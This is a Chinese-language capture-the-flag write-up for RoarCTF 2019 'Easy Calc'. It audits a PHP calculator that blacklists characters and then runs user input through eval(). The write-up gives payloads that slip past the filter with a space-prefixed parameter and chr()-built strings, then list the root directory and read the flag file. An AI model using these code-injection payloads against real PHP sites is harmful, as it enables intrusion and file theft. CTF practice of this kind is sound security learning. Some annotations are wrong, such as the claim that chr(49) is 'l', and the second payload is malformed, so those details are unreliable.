[RoarCTF 2019]Easy Calc 1
打开靶机,进入页面

F12检查代码并且进行代码审计
<script> $('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), //“calc.php”提示我们有藏有calc.php页面."?num="暗示我们扫页面目录。“encode”暗示我们编码。“$("#content").val()”=document.getElementById("content").value; type:'GET', //请求类型 success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert("这啥?算不来!"); } }) return false; }) </script>
根据提示进入“calc.php”页面
/calc.php

对内容进行代码审计
<?php error_reporting(0); if(!isset($_GET['num'])){ //如果表单不存在“num”值 show_source(__FILE__); //展示源文件file }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; //过滤字符名单 foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { //preg_math函数过滤掉了“/”,“/m” die("what are you want to do?"); } } eval('echo '.$str.';'); 输出“$str”";" } ?>
构造playload扫一下页面目录
/calc.php? num=1;var_dump(scandir(chr(47)))
playload构建的解析:
- var_dump函数:输出变量相关信息
- scandir:列出路径的文件和目录
- chr(47):返回的ascii指定字符,在linux下为目录47
- num=1:输入的名称

构造playload获取flagg的内容
/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/calc.php?%20num=1;var_dump(file_get_contents(chr47).chr(102),chr(97),chr(103),chr(103)))
playload注释
//chr(47)='/'
//chr(102)='f'
//chr(49)='l'
//chr(97)='a'
//chr(103)='g'
//chr(103)='g'
得到FLAG

未亡人

浙公网安备 33010602011771号